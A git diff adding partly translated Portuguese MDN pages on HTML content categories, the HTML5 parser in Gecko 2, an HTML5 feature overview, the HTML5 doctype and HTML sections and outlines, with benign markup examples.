Elements belonging to this category are {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}} and {{HTMLElement("hgroup")}}.

- -
-

Though likely to contain heading content, the {{HTMLElement("header")}} is not heading content itself.

-
- -
-

Note: The {{HTMLElement("hgroup")}} element was removed from the W3C HTML specification prior to HTML 5 being finalized, but is still part of the WHATWG specification and is at least partially supported by most browsers.

-
- -

Phrasing content

- -

Phrasing content defines the text and the mark-up it contains. Runs of phrasing content make up paragraphs.

- -

Elements belonging to this category are {{HTMLElement("abbr")}}, {{HTMLElement("audio")}}, {{HTMLElement("b")}}, {{HTMLElement("bdo")}}, {{HTMLElement("br")}}, {{HTMLElement("button")}}, {{HTMLElement("canvas")}}, {{HTMLElement("cite")}}, {{HTMLElement("code")}}, {{ Obsolete_inline() }}{{HTMLElement("command")}}, {{HTMLElement("data")}}, {{HTMLElement("datalist")}}, {{HTMLElement("dfn")}}, {{HTMLElement("em")}}, {{HTMLElement("embed")}}, {{HTMLElement("i")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("kbd")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("mark")}}, {{MathMLElement("math")}}, {{HTMLElement("meter")}}, {{HTMLElement("noscript")}}, {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("q")}}, {{HTMLElement("ruby")}}, {{HTMLElement("samp")}}, {{HTMLElement("script")}}, {{HTMLElement("select")}}, {{HTMLElement("small")}}, {{HTMLElement("span")}}, {{HTMLElement("strong")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{SVGElement("svg")}}, {{HTMLElement("textarea")}}, {{HTMLElement("time")}}, {{HTMLElement("var")}}, {{HTMLElement("video")}}, {{HTMLElement("wbr")}} and plain text (not only consisting of white spaces characters).

- -

A few other elements belong to this category, but only if a specific condition is fulfilled:

- - - -

Embedded content

- -

Embedded content imports another resource or inserts content from another mark-up language or namespace into the document. Elements that belong to this category include: {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{MathMLElement("math")}}, {{HTMLElement("object")}}, {{SVGElement("svg")}}, {{HTMLElement("video")}}.

- -

Interactive content

- -

Interactive content includes elements that are specifically designed for user interaction. Elements that belong to this category include: {{HTMLElement("a")}}, {{HTMLElement("button")}}, {{HTMLElement("details")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}}.
- Some elements belong to this category only under specific conditions:

- - - -

Palpable content

- -

Content is palpable when it's neither empty or hidden; it is content that is rendered and is substantive. Elements whose model is flow content or phrasing content should have at least one node which is palpable.

- -

Form-associated content

- -

Form-associated content comprises elements that have a form owner, exposed by a form attribute. A form owner is either the containing {{HTMLElement("form")}} element or the element whose id is specified in the form attribute.

- - - -

This category contains several sub-categories:

- -
-
listed
-
Elements that are listed in the form.elements and fieldset.elements IDL collections. Contains {{HTMLElement("button")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("input")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}}.
-
labelable
-
Elements that can be associated with {{HTMLElement("label")}} elements. Contains {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("meter")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}}.
-
submittable
-
Elements that can be used for constructing the form data set when the form is submitted. Contains {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("object")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}}.
-
resettable
-
Elements that can be affected when a form is reset. Contains {{HTMLElement("input")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("output")}},{{HTMLElement("select")}}, and {{HTMLElement("textarea")}}.
-
- -

Secondary categories

- -

There are some secondary classifications of elements that can be useful to be aware of as well.

- -

Script-supporting elements

- -

Script-supporting elements are elements which don't directly contribute to the rendered output of a document. Instead, they serve to support scripts, either by containing or specifying script code directly, or by specifying data that will be used by scripts.

- -

The script-supporting elements are:

- - - -

Transparent content model

- -

If an element has a transparent content model, then its contents must be structured such that they would be valid HTML 5, even if the transparent element were removed and replaced by the child elements.

- -

For example, the {{HTMLElement("del")}} and {{HTMLELement("ins")}} elements are transparent:

- -
<p>We hold these truths to be <del><em>sacred &amp; undeniable</em></del> <ins>self-evident</ins>.</p>
-
- -

If those elements were removed, this fragment would still be valid HTML (if not correct English).

- -
<p>We hold these truths to be <em>sacred &amp; undeniable</em> self-evident.</p>
-
- -

Outros modelos de conteúdo

- -

Seção raiz.

diff --git a/files/pt-pt/web/guide/html/content_categories/index.html b/files/pt-pt/web/guide/html/content_categories/index.html new file mode 100644 index 0000000000..9a7c08ee9a --- /dev/null +++ b/files/pt-pt/web/guide/html/content_categories/index.html @@ -0,0 +1,175 @@ +--- +title: Categorias de conteúdo +slug: Web/Guide/HTML/Categorias_de_conteudo +tags: + - Avançado + - Guía + - HTML + - HTML5 + - Web +translation_of: Web/Guide/HTML/Content_categories +--- +

Every HTML element is a member of one or more content categories, which group elements that share characteristics. This is a loose grouping (it doesn't actually create a relationship among elements of these categories), but they help define and describe the categories' shared behavior and their associated rules, especially when you come upon their intricate details. It's also possible for elements to not be a member of any of these categories.

+ +

There are three types of content categories:

+ + + +
+

Nota: A more detailed discussion of these content categories and their comparative functionalities is beyond the scope of this article; for that, you may wish to read the relevant portions of the HTML specification.

+
+ +

A Venn diagram showing how the various content categories interrelate. The following sections explain these relationships in text.

+ +

Main content categories

+ +

Metadata content

+ +

Elements belonging to the metadata content category modify the presentation or the behavior of the rest of the document, set up links to other documents, or convey other out of band information.

+ +

Elements belonging to this category are {{HTMLElement("base")}}, {{ Obsolete_inline() }}{{HTMLElement("command")}}, {{HTMLElement("link")}}, {{HTMLElement("meta")}}, {{HTMLElement("noscript")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}} and {{HTMLElement("title")}}.

+ +

Flow content

+ +

Elements belonging to the flow content category typically contain text or embedded content. They are: {{HTMLElement("a")}}, {{HTMLElement("abbr")}}, {{HTMLElement("address")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("audio")}}, {{HTMLElement("b")}},{{HTMLElement("bdo")}}, {{HTMLElement("bdi")}}, {{HTMLElement("blockquote")}}, {{HTMLElement("br")}}, {{HTMLElement("button")}}, {{HTMLElement("canvas")}}, {{HTMLElement("cite")}}, {{HTMLElement("code")}}, {{ Obsolete_inline() }}{{HTMLElement("command")}}, {{HTMLElement("data")}}, {{HTMLElement("datalist")}}, {{HTMLElement("del")}}, {{HTMLElement("details")}}, {{HTMLElement("dfn")}}, {{HTMLElement("div")}}, {{HTMLElement("dl")}}, {{HTMLElement("em")}}, {{HTMLElement("embed")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("figure")}}, {{HTMLElement("footer")}}, {{HTMLElement("form")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("header")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("hr")}}, {{HTMLElement("i")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("ins")}}, {{HTMLElement("kbd")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("main")}}, {{HTMLElement("map")}}, {{HTMLElement("mark")}}, {{MathMLElement("math")}}, {{HTMLElement("menu")}}, {{HTMLElement("meter")}}, {{HTMLElement("nav")}}, {{HTMLElement("noscript")}}, {{HTMLElement("object")}}, {{HTMLElement("ol")}}, {{HTMLElement("output")}}, {{HTMLElement("p")}}, {{HTMLElement("pre")}}, {{HTMLElement("progress")}}, {{HTMLElement("q")}}, {{HTMLElement("ruby")}}, {{HTMLElement("s")}}, {{HTMLElement("samp")}}, {{HTMLElement("script")}}, {{HTMLElement("section")}}, {{HTMLElement("select")}}, {{HTMLElement("small")}}, {{HTMLElement("span")}}, {{HTMLElement("strong")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{SVGElement("svg")}}, {{HTMLElement("table")}}, {{HTMLElement("template")}}, {{HTMLElement("textarea")}}, {{HTMLElement("time")}}, {{HTMLElement("ul")}}, {{HTMLElement("var")}}, {{HTMLElement("video")}}, {{HTMLElement("wbr")}} and Text.

+ +

A few other elements belong to this category, but only if a specific condition is fulfilled:

+ + + +

Sectioning content

+ +

Elements belonging to the sectioning content model create a section in the current outline that defines the scope of {{HTMLElement("header")}} elements, {{HTMLElement("footer")}} elements, and heading content.

+ +

Elements belonging to this category are {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("nav")}} and {{HTMLElement("section")}}.

+ +
+

Do not confuse this content model with the sectioning root category, which isolates its content from the regular outline.

+
+ +

Heading content

+ +

Heading content defines the title of a section, whether marked by an explicit sectioning content element, or implicitly defined by the heading content itself.

+ +

Elements belonging to this category are {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}} and {{HTMLElement("hgroup")}}.

+ +
+

Though likely to contain heading content, the {{HTMLElement("header")}} is not heading content itself.

+
+ +
+

Note: The {{HTMLElement("hgroup")}} element was removed from the W3C HTML specification prior to HTML 5 being finalized, but is still part of the WHATWG specification and is at least partially supported by most browsers.

+
+ +

Phrasing content

+ +

Phrasing content defines the text and the mark-up it contains. Runs of phrasing content make up paragraphs.

+ +

Elements belonging to this category are {{HTMLElement("abbr")}}, {{HTMLElement("audio")}}, {{HTMLElement("b")}}, {{HTMLElement("bdo")}}, {{HTMLElement("br")}}, {{HTMLElement("button")}}, {{HTMLElement("canvas")}}, {{HTMLElement("cite")}}, {{HTMLElement("code")}}, {{ Obsolete_inline() }}{{HTMLElement("command")}}, {{HTMLElement("data")}}, {{HTMLElement("datalist")}}, {{HTMLElement("dfn")}}, {{HTMLElement("em")}}, {{HTMLElement("embed")}}, {{HTMLElement("i")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("kbd")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("mark")}}, {{MathMLElement("math")}}, {{HTMLElement("meter")}}, {{HTMLElement("noscript")}}, {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("q")}}, {{HTMLElement("ruby")}}, {{HTMLElement("samp")}}, {{HTMLElement("script")}}, {{HTMLElement("select")}}, {{HTMLElement("small")}}, {{HTMLElement("span")}}, {{HTMLElement("strong")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{SVGElement("svg")}}, {{HTMLElement("textarea")}}, {{HTMLElement("time")}}, {{HTMLElement("var")}}, {{HTMLElement("video")}}, {{HTMLElement("wbr")}} and plain text (not only consisting of white spaces characters).

+ +

A few other elements belong to this category, but only if a specific condition is fulfilled:

+ + + +

Embedded content

+ +

Embedded content imports another resource or inserts content from another mark-up language or namespace into the document. Elements that belong to this category include: {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{MathMLElement("math")}}, {{HTMLElement("object")}}, {{SVGElement("svg")}}, {{HTMLElement("video")}}.

+ +

Interactive content

+ +

Interactive content includes elements that are specifically designed for user interaction. Elements that belong to this category include: {{HTMLElement("a")}}, {{HTMLElement("button")}}, {{HTMLElement("details")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}}.
+ Some elements belong to this category only under specific conditions:

+ + + +

Palpable content

+ +

Content is palpable when it's neither empty or hidden; it is content that is rendered and is substantive. Elements whose model is flow content or phrasing content should have at least one node which is palpable.

+ +

Form-associated content

+ +

Form-associated content comprises elements that have a form owner, exposed by a form attribute. A form owner is either the containing {{HTMLElement("form")}} element or the element whose id is specified in the form attribute.

+ + + +

This category contains several sub-categories:

+ +
+
listed
+
Elements that are listed in the form.elements and fieldset.elements IDL collections. Contains {{HTMLElement("button")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("input")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}}.
+
labelable
+
Elements that can be associated with {{HTMLElement("label")}} elements. Contains {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("meter")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}}.
+
submittable
+
Elements that can be used for constructing the form data set when the form is submitted. Contains {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("object")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}}.
+
resettable
+
Elements that can be affected when a form is reset. Contains {{HTMLElement("input")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("output")}},{{HTMLElement("select")}}, and {{HTMLElement("textarea")}}.
+
+ +

Secondary categories

+ +

There are some secondary classifications of elements that can be useful to be aware of as well.

+ +

Script-supporting elements

+ +

Script-supporting elements are elements which don't directly contribute to the rendered output of a document. Instead, they serve to support scripts, either by containing or specifying script code directly, or by specifying data that will be used by scripts.

+ +

The script-supporting elements are:

+ + + +

Transparent content model

+ +

If an element has a transparent content model, then its contents must be structured such that they would be valid HTML 5, even if the transparent element were removed and replaced by the child elements.

+ +

For example, the {{HTMLElement("del")}} and {{HTMLELement("ins")}} elements are transparent:

+ +
<p>We hold these truths to be <del><em>sacred &amp; undeniable</em></del> <ins>self-evident</ins>.</p>
+
+ +

If those elements were removed, this fragment would still be valid HTML (if not correct English).

+ +
<p>We hold these truths to be <em>sacred &amp; undeniable</em> self-evident.</p>
+
+ +

Outros modelos de conteúdo

+ +

Seção raiz.

diff --git a/files/pt-pt/web/guide/html/html5/html5_parser/index.html b/files/pt-pt/web/guide/html/html5/html5_parser/index.html new file mode 100644 index 0000000000..eff96db73f --- /dev/null +++ b/files/pt-pt/web/guide/html/html5/html5_parser/index.html @@ -0,0 +1,58 @@ +--- +title: Parser HTML5 +slug: Web/HTML/HTML5/Parser_HTML5 +translation_of: Web/Guide/HTML/HTML5/HTML5_Parser +--- +

{{ gecko_minversion_header("2") }}

+

O Gecko 2 introduz um novo analizador (parser), baseado no HTML5. O analizador (parser) HTML é uma das peças mais sensíveis e complicadas de um navegador. Ele controla como o código fonte HTML é transformado em páginas web e, também, mudanças para alguns casos de exceções. O novo analisador (parser) é mais rápido, cumpre com o padrão do HTML5, e habilita também várias novas funcionalidades.

+

O novo analisador (parser) introduz estas melhorias maiores:

+ +

A especificação do HTML5 (en) fornece descrições mais detalhadas do que os padrões anteriores do HTML de como transformar um fluxo de bytes em uma árvore DOM. Isto resultará em implementações mais consistentes do navegador. Em outras palavras, o suporte ao HTML5 no Gecko, WebKit e Internet Explorer (IE) se tornará mais consistente um com o outro.

+

Changed parser behaviors

+

Some changes to the way that the Gecko 2 parser behaves, as compared to earlier versions of Gecko, may affect web developers, depending on how you've written your code in the past and what browsers you've tested it on.

+

Tokenization of left angle-bracket within a tag

+

Given the string <foo<bar>, the new parser reads it as one tag named foo<bar. This behavior is consistent with IE and Opera, and is different from Gecko 1.x and WebKit, which read it as two tags, foo and bar. If you previously tested your code in IE and Opera, then you probably don't have any tags like this. If you tested your site only with Gecko 1.x or WebKit (for example, Firefox-only intranets or WebKit-oriented mobile sites), then you might have tags that match this pattern, and they will behave differently with Gecko 2.

+

Calling document.write() during parsing

+

Prior to HTML5, Gecko and WebKit allowed calls to document.write() during parsing to insert content into the source stream. This behavior was inherently racy, as the content was inserted into a timing-dependent point in the source stream. If the call happened after the parser was done, the inserted content replaced the document. In IE, such calls are either ignored or imply a call to document.open(), replacing the document. In HTML5, document.write() can only be called from a script that is created by a {{ HTMLElement("script") }} tag that does not have the async or defer attributes set. With the HTML5 parser, calls to document.write() in any other context either are ignored or replace the document.

+

Some contexts from which you should not call document.write() include:

+ +

If you use the same mechanism for loading script libraries for all browsers including IE, then your code probably will not be affected by this change. Scripts that serve racy code to Firefox, perhaps while serving safe code to IE, will see a difference due to this change. Firefox writes a warning to the JavaScript console when it ignores a call to document.write().

+

Lack of Reparsing

+

Prior to HTML5, parsers reparsed the document if they hit the end of the file within certain elements or within comments. For example, if the document lacked a </title> closing tag, the parser would reparse to look for the first '<' in the document, or if a comment was not closed, it would look for the first '>'. This behavior created a security vulnerability. If an attacker could force a premature end-of-file, the parser might change which parts of the document it considered to be executable scripts. In addition, supporting reparsing led to unnecessarily complex parsing code.

+

With HTML5, parsers no longer reparse documents. This change has the following consequences for web developers:

+ +

Performance improvement with speculative parsing

+

Unrelated to the requirements of HTML5 specification, the Gecko 2 parser uses speculative parsing, in which it continues parsing a document while scripts are being downloaded and executed. This results in improved performance compared to older parsers, because most of the time, Gecko can complete these tasks in parallel.

+

To best take advantage of speculative parsing, and help your pages to load as quickly as possible, ensure that when you call document.write(), you write a balanced sub-tree within that chunk of script. A balanced sub-tree is HTML code in which any elements that are opened are also closed, so that after the script, the elements left open are the same ones that were open before the script. The open and closing tags do not need to be written by the same document.write() call, as long as they are within the same <script> tag.

+

Please note that you shouldn't use end tags for void elements that don't have end tags: {{ HTMLElement('area') }}, {{ HTMLElement('base') }}, {{ HTMLElement('br') }}, {{ HTMLElement('col') }}, {{ HTMLElement('command') }}, {{ HTMLElement('embed') }}, {{ HTMLElement('hr') }}, {{ HTMLElement('img') }}, {{ HTMLElement('input') }}, {{ HTMLElement('keygen') }}, {{ HTMLElement('link') }}, {{ HTMLElement('meta') }}, {{ HTMLElement('param') }}, {{ HTMLElement('source') }} and {{ HTMLElement('wbr') }}. (There are also some element whose end tags can be omitted in some cases, such as {{ HTMLElement('p') }} in the example below, but it's simpler to always use end tags for those elements than to make sure that the end tags are only omitted when they aren't necessary.)

+

For example, the following code writes a balanced sub-tree:

+
<script>
+  document.write("<div>");
+  document.write("<p>Some content goes here.</p>");
+  document.write("</div>");
+</script>
+<!-- Non-script HTML goes here. -->
+
+

In contrast, the following code contains two scripts with unbalanced sub-trees, which causes speculative parsing to fail and therefore the time to parse the document is longer.

+
<script>document.write("<div>");</script>
+<p>Some content goes here.</p>
+<script>document.write("</div>");</script>
+
+

For more information, see Optimizing your pages for speculative parsing.

+

 

diff --git a/files/pt-pt/web/guide/html/html5/index.html b/files/pt-pt/web/guide/html/html5/index.html new file mode 100644 index 0000000000..87e542c8c8 --- /dev/null +++ b/files/pt-pt/web/guide/html/html5/index.html @@ -0,0 +1,169 @@ +--- +title: HTML5 +slug: Web/HTML/HTML5 +tags: + - Desenvolvimento da Web + - Guía + - HTML + - HTML5 + - Resumo + - Sinopse + - Web +translation_of: Web/Guide/HTML/HTML5 +--- +

HTML5 é a última evolução no padrão que define o HTML. O termo representa dois conceitos diferentes. Esta é uma nova versão da linguagem HTML, com novos elementos, atributos e comportamentos, e um conjunto maior de tecnologias que permite a criação de sites e aplicações da Web mais diversos e poderosos. Este conjunto às vezes é chamado de HTML5 e amigos e, muitas vezes, abreviado apenas para HTML5.

+ +

Desenhado para ser utilizado por todos os programadores da Web Aberta, esta página de referência interliga para inúmeros recursos sobre as tecnologias em HTML5, classificadas em vários grupos com base nas suas funções.

+ + + +
+
+

SemÂntIcA

+ +
+
Sections and outlines in HTML5
+
A look at the new outlining and sectioning elements in HTML5: {{HTMLElement("section")}}, {{HTMLElement("article")}}, {{HTMLElement("nav")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}} and {{HTMLElement("aside")}}.
+
Using HTML5 audio and video
+
The {{HTMLElement("audio")}} and {{HTMLElement("video")}} elements embed and allow the manipulation of new multimedia content.
+
Forms improvements
+
A look at the constraint validation API, several new attributes, new values for the {{HTMLElement("input")}} attribute {{htmlattrxref("type", "input")}} and the new {{HTMLElement("output")}} element.
+
New semantic elements
+
Beside sections, media and forms elements, there are numerous new elements, like {{HTMLElement("mark")}}, {{HTMLElement("figure")}}, {{HTMLElement("figcaption")}}, {{HTMLElement("data")}}, {{HTMLElement("time")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, or {{HTMLElement("meter")}} and {{HTMLElement("main")}}, increasing the number of valid HTML5 elements.
+
Improvement in {{HTMLElement("iframe")}}
+
Using the {{htmlattrxref("sandbox", "iframe")}} and {{htmlattrxref("srcdoc", "iframe")}} attributes, authors can now be precise about the level of security and the wished rendering of an {{HTMLElement("iframe")}} element.
+
MathML
+
Allows directly embedding mathematical formulas.
+
Introduction to HTML5
+
This article introduces how to indicate to the browser that you are using HTML5 in your web design or web application.
+
HTML5 Cheat Sheet
+
A handy HTML 5 cheat sheet for beginners who want to master HTML 5, its elements, event attributes and compatibility.
+
HTML5-compliant parser
+
The parser, which turns the bytes of an HTML document into a DOM, has been extended and now precisely defines the behavior to use in all cases, even when faced with invalid HTML. This leads to far greater predictability and interoperability between HTML5-compliant browsers.
+
+ +

ConetiviDADE

+ +
+
Web Sockets
+
Allows creating a permanent connection between the page and the server and to exchange non-HTML data through that means.
+
Server-sent events
+
Allows a server to push events to a client, rather than the classical paradigm where the server could send data only in response to a client's request.
+
WebRTC
+
This technology, where RTC stands for Real-Time Communication, allows connecting to other people and controlling videoconferencing directly in the browser, without the need for a plugin or an external application.
+
+ +

Off-line e ARMAZENAMENTO

+ +
+
Offline resources: The application cache
+
Firefox fully supports the HTML5 offline resource specification. Most others have offline resource support at some level.
+
Online and offline events
+
Firefox 3 supports WHATWG online and offline events, which let applications and extensions detect whether or not there's an active Internet connection, as well as to detect when the connection goes up and down.
+
WHATWG client-side session and persistent storage (aka DOM storage)
+
Client-side session and persistent storage allows web applications to store structured data on the client side.
+
IndexedDB
+
IndexedDB is a web standard for the storage of significant amounts of structured data in the browser and for high performance searches on this data using indexes.
+
Using files from web applications
+
Support for the new HTML5 File API has been added to Gecko, making it possible for web applications to access local files selected by the user. This includes support for selecting multiple files using the {{HTMLElement("input")}} of type file HTML element's new multiple attribute. There also is FileReader.
+
+ +

MultimÉdia

+ +
+
Using HTML5 audio and video
+
The {{HTMLElement("audio")}} and {{HTMLElement("video")}} elements embed and allow the manipulation of new multimedia content.
+
WebRTC
+
This technology, where RTC stands for Real-Time Communication, allows connecting to other people and controlling videoconferencing directly in the browser, without the need for a plugin or an external application.
+
Using the Camera API
+
Allows using, manipulating, and storing an image from the computer's camera.
+
Track and WebVTT
+
The {{HTMLElement("track")}} element allows subtitles and chapters. WebVTT is a text track format.
+
+ +

GRÁFICOS E EFEITOS 3D

+ +
+
Canvas tutorial
+
Learn about the new {{HTMLElement("canvas")}} element and how to draw graphs and other objects in Firefox.
+
HTML5 Text API for <canvas> elements
+
The HTML5 text API is now supported by {{HTMLElement("canvas")}} elements.
+
WebGL
+
WebGL brings 3D graphics to the Web by introducing an API that closely conforms to OpenGL ES 2.0 that can be used in HTML5 {{HTMLElement("canvas")}} elements.
+
SVG
+
An XML-based format of vectorial images that can directly be embedded in the HTML.
+
+
+ +
+

DESEMPENHO E IntegraÇÃO

+ +
+
Web Workers
+
Allows delegation of JavaScript evaluation to background threads, allowing these activities to prevent slowing down interactive events.
+
XMLHttpRequest level 2
+
Allows fetching asynchronously some parts of the page, allowing it to display dynamic content, varying according to the time and user actions. This is the technology behind Ajax.
+
JIT-compiling JavaScript engines
+
The new generation of JavaScript engines is much more powerful, leading to greater performance.
+
History API
+
Allows the manipulation of the browser history. This is especially useful for pages loading interactively new information.
+
The contentEditable Attribute: Transform your website to a wiki!
+
HTML5 has standardized the contentEditable attribute. Learn more about this feature.
+
Drag and drop
+
The HTML5 drag and drop API allows support for dragging and dropping items within and between web sites. This also provides a simpler API for use by extensions and Mozilla-based applications.
+
Focus management in HTML
+
The new HTML5 activeElement and hasFocus attributes are supported.
+
Web-based protocol handlers
+
You can now register web applications as protocol handlers using the navigator.registerProtocolHandler() method.
+
requestAnimationFrame
+
Allows control of animations rendering to obtain optimal performance.
+
Fullscreen API
+
Controls the usage of the whole screen for a Web page or application, without the browser UI displayed.
+
Pointer Lock API
+
Allows locking the pointer to the content, so games and similar applications don't lose focus when the pointer reaches the window limit.
+
Online and offline events
+
In order to build a good offline-capable web application, you need to know when your application is actually offline. Incidentally, you also need to know when your application has returned to an online status again.
+
+ +

ACESSO AO DISPOSITIVO

+ +
+
Using the Camera API
+
Allows using, manipulating, and storing an image from the computer's camera.
+
Touch events
+
Handlers to react to events created by a user pressing touch screens.
+
Using geolocation
+
Let browsers locate the position of the user using geolocation.
+
Detecting device orientation
+
Get the information when the device on which the browser runs changes orientation. This can be used as an input device (e.g., to make games that react to the position of the device) or to adapt the layout of a page to the orientation of the screen (portrait or landscape).
+
Pointer Lock API
+
Allows locking the pointer to the content, so games and similar application don't lose focus when the pointer reaches the window limit.
+
+ +

ESTILIZAÇÃO

+ +

CSS has been extended to be able to style elements in a much more complex way. This is often referred as CSS3, though CSS is not a monolithic specification any more and the different modules are not all at level 3: some are at level 1 and others at level 4, with all the intermediate levels covered.

+ +
+
New background styling features
+
It is now possible to put a shadow to a box, using {{cssxref("box-shadow")}} and multiple backgrounds can be set.
+
More fancy borders
+
Not only it is now possible to use images to style borders, using {{cssxref("border-image")}} and its associated longhand properties, but rounded borders are supported via the {{cssxref("border-radius")}} property.
+
Animating your style
+
Using CSS Transitions to animate between different states or using CSS Animations to animate parts of the page without a triggering event, you can now control mobile elements on your page.
+
Typography improvement
+
Authors have better control to reach better typography. They can control {{cssxref("text-overflow")}} and hyphenation, but also can add a shadow to it or control more precisely its decorations. Custom typefaces can be downloaded and applied thanks to the new {{cssxref("@font-face")}} at-rule.
+
New presentational layouts
+
In order to improve the flexibility of designs, two new layouts have been added: the CSS multi-column layouts and CSS flexible box layout.
+
+
+
diff --git a/files/pt-pt/web/guide/html/html5/introduction_to_html5/index.html b/files/pt-pt/web/guide/html/html5/introduction_to_html5/index.html new file mode 100644 index 0000000000..7a30759282 --- /dev/null +++ b/files/pt-pt/web/guide/html/html5/introduction_to_html5/index.html @@ -0,0 +1,20 @@ +--- +title: Introdução ao HTML5 +slug: Web/HTML/HTML5/Introdução_ao_HTML5 +tags: + - HTML + - HTML5 +translation_of: Web/Guide/HTML/HTML5/Introduction_to_HTML5 +--- +

O HTML5 (en), cujas novidades começaram a ser implementadas no Gecko 1.8.1, é a mais nova versão do padrão HTML. Ela oferece novas características para proporcionar não somente um rico suporte à mídia, mas também para melhorar o suporte à criação de aplicações web que podem interagir com o usuário, seus dados locais e servidores de maneira mais fácil e efetiva.

+ +

Como o HTML5 ainda está em estágio de projeto, mudanças às especificações são inevitáveis. Por causa disso, nem todas as características são suportadas por todos os navegadores ainda. Entretanto, o Gecko (e por extensão, o Firefox) possui um suporte inicial ao HTML5 muito bom e o trabalho continua no caminho de suportar cada vez mais características. Você pode encontrar uma lista das características do HTML5 suportadas pelo Gecko na página principal do HTML5.

+ +

O doctype do HTML5

+ +

O doctype para o HTML5 é muito simples. Para indicar que seu conteúdo HTML usa HTML5, simplesmente use:

+ +
<!DOCTYPE html>
+
+ +

Este doctype tão simples, permitirá que mesmo os navegadores que atualmente não suportam o HTML5, o considerem como o modo padrão, o que significa que eles irão interpretar as partes do HTML já estabelecidas em um modo complacente do HTML5, ignorando as novas características do HTML5 não suportadas pelos mesmos.

diff --git a/files/pt-pt/web/guide/html/using_html_sections_and_outlines/index.html b/files/pt-pt/web/guide/html/using_html_sections_and_outlines/index.html new file mode 100644 index 0000000000..fd11f62887 --- /dev/null +++ b/files/pt-pt/web/guide/html/using_html_sections_and_outlines/index.html @@ -0,0 +1,343 @@ +--- +title: Utilizar estruturas e secções de HTML +slug: Web/Guide/HTML/Utilizar_estruturas_e_seccoes_de_HTML +tags: + - Avançado + - Estruturas + - Exemplo + - Guía + - HTML + - HTML5 + - Resumo + - Secções + - Sinopse + - Web +translation_of: Web/Guide/HTML/Using_HTML_sections_and_outlines +--- +
+

Importante: atualmente, não existem implementações conhecidas do algoritmo de estrutura nos navegadores gráficos ou agentes de utilizador da tecnologia assistiva, embora o algoritmo esteja implementado noutro software, tal como verificadores de conformidade . Assim, o algoritmo de estrutura não pode ser invocado para transmitir a estrutura do documento aos utilizadores. Recomenda-se que os autores utilizem rank (h1-h6) para transmitir a estrutura do documento.

+
+ +

The HTML5 specification brings several new elements to web developers allowing them to describe the structure of a web document with standard semantics. This document describes these elements and how to use them to define the desired outline for any document.

+ +

Estrutura de um documento em HTML 4

+ +

